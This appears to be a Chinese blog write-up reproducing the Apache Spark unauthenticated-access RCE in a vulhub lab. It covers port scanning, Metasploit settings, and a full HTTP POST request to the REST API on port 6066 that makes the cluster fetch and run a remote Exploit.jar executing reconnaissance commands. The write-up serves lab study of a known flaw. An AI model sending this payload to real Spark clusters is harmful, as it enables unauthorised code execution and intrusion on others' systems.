Apache Spark 未授权访问漏洞复现

Apache Spark 未授权访问漏洞复现

介绍

Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动ACL(访问控制),我们将可以在集群中执行任意代码。

环境搭建

kali :192.168.89.130

使用vulhub漏洞靶场搭建,进入目录下/spark/unacc ,运行 docker-compose up -d

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eH9ZTFDF-1629967136696)(https://i.loli.net/2021/08/26/9TMGmnrxboDafU1.png)]

然后重新输入运行环境

image-20210826141813923

漏洞复现

使用nmap扫描端口,8080/8081开放即可能存在漏洞

image-20210826143651263

访问8080端口即可打开master,版本是2.3.1

image-20210826141923146

使用msf进行攻击

search spark查看可利用的模块

image-20210826143924397

这里使用第一个

use exploit/linux/http/spark_unauth_rce

设置好payload

image-20210826144039368

options查看需要配置的信息

image-20210826144141814

set rhosts 192.168.89.130

set srvhost 192.168.89.130

set rport 6066

set srvport 8080

设置好后再次运行options检查一下是否配置正常,然后运行,run或者exploit

然后报错了。。。。这里没实现成功

另一个方法

利用StandaloneRestServer API提交应用,REST服务端的默认端口号是6066;

访问6066端口,这里是192.168.89.131:6066,抓包,然后修改发送

exp:

POST /v1/submissions/create HTTP/1.1
Host: 192.168.44.131:6066
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Drupal.toolbar.collapsed=0; has_js=1
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 699

{
  "action": "CreateSubmissionRequest",
  "clientSparkVersion": "2.3.1",
  "appArgs": [
    "whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
  ],
  "appResource": "https://github.com/aRe00t/rce-over-spark/Exploit.jar",
  "environmentVariables": {
    "SPARK_ENV_LOADED": "1"
  },
  "mainClass": "Exploit",
  "sparkProperties": {
    "spark.jars": "https://github.com/aRe00t/rce-over-spark/Exploit.jar",
    "spark.driver.supervise": "false",
    "spark.app.name": "Exploit",
    "spark.eventLog.enabled": "true",
    "spark.submit.deployMode": "cluster",
    "spark.master": "spark://192.168.44.131:6066"
  }
}

目标:Host: your-ip:6066
版本:“clientSparkVersion”: “2.3.1”
执行的命令: “appArgs”: [" "]

image-20210826155839062

上传成功

然后访问

https:// ip :8081/logPage/?driverId={submissionId}&logType=stdout

image-20210826160458224

这里submissionId就是burp中的值

image-20210826160335135

可以访问到日志页,这里是新开的服务器就没有记录了

image-20210826160712675

同样的方法,用在线的vulfocus测试一下

image-20210826161125110

访问8081端口后会有记录

image-20210826162740001
但是error了,暂时没找到原因。。。。尝试了一下午,有机会再试试吧。。。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值